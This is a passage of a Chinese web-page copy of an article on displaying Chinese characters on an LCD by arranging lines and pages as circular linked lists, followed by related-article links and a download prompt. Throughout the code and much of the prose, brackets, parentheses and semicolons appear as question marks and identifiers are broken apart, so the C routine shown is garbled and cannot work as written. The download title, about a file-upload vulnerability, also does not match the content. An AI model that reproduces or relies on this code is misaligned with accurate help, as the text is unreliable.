lcdLine?0?..showflag =1? //汉字

lcdLine?0?.lineId =1001; //行标识

?firstlcdLine 1?=NULL?

CSC Place On List ?&firstlcdLine 1? &lcdLine?0??? //第一页中的第一行

CSC Place On List?&firstlcdLine 1?&lcdLine?1???

CSC Place On List ?&firstlcdLine 1? &lcdLine?2???

CSC Place On List ?&firstlcdLine 1? &lcdLine?3???由于四行即可组成一个循环队列,其中lcdLine?0?指定为第一页的第一个入口行,FirstlcdLine 1与lcdLine为同一行,lcdPage?0?页的入口行为firstlcd-Line;lcdPage?0?.firstLine=firstlcdLine 1?lcdPage?0?.pageID =1001,这样,依据该方法便可以生成任意多的页。具体方法如下:

lcdpage 1=NULL?

lcdPage Place On List?&lcdpage 1? &lcdpage?0???

lcdPage Place On List?&lcdpage 1? &lcdpage?1???

lcdPage Place On List?&lcdpage 1? &lcdpage?2???

lcdPage Place On List?&lcdpage 1? &lcdpage?3???

lcdPage Place On List?&lcdpage 1? &lcdpage?4???

lcdPage Place On List?&lcdpage 1? &lcdpage?5???

这样,用五页即可组成一个循环队列,其中lcd-page_1与lcdpage?0?为同一页。

对于行的显示,最基础的行显示方法如下:

void disp lcd Line?lcdMenu *lcdm?unsigned char start? //START为行号

{

unsigned char i?loop?

unsigned char zt?zt1?

unsigned char sign?

unsigned char offset?

unsigned char offlen?

unsigned char *phz?

unsigned char z0?

phz=?unsigned char *?&hz code table?

/汉字代码初地址

offset=start*16? //显示的位置 行号 *列号

offlen =0?

loop=0?

z0=0x00?

sign=lcdm->showflag? //是否为汉字

while?loop<16? //在同一行中从0列到15列

{

zt=lcdm->lcdseg?loop?? //取第一个代码

if?zt<=0x7F? /小于0X80为ASCII代码

{

disp self ascii?&zt?1?offset??

//在本行,显示自有的ASCII代码

if?sign==1?

{

disp self ascii?&z0?1?offset 16??

//在上一行,同一列的位置,不显示任何代码

}

offset=offset +1?

offlen=offlen +1?

loop++?

}

else

{

loop++?

zt1=lcdm->lcdseg?loop??

//取第二个代码

disp chinese??phz+?zt-0x80? *4096 +?zt1-0x80? *32??1?offset ?? //显示汉字

offset=offset + 2 ?

offlen=offlen +2?

loop++?

}

}

}

3 结束语

由于本系统在显示时采用了环形结构算法,因此,可以达到快速、简单的汉字显示效果。

PHPMySMS远程文件包含漏洞

系统功能语法在阅读训练中的应用

SA9904B在电力参数远程测控系统中的应用

电力调度自动化系统在企业信息化管理中的应用

VHDL在高速图像采集系统中的应用设计

水质环境在线监测系统在工业生产中的应用

一体化文件在输气管道工程项目的应用论文

信息化系统在铁路水电业务经营管理中应用的思考

web常见攻击六――文件上传漏洞

数理逻辑在企业管理中的应用

《在惠信新闻系统中应用文件上传漏洞(推荐9篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

点击下载本文文档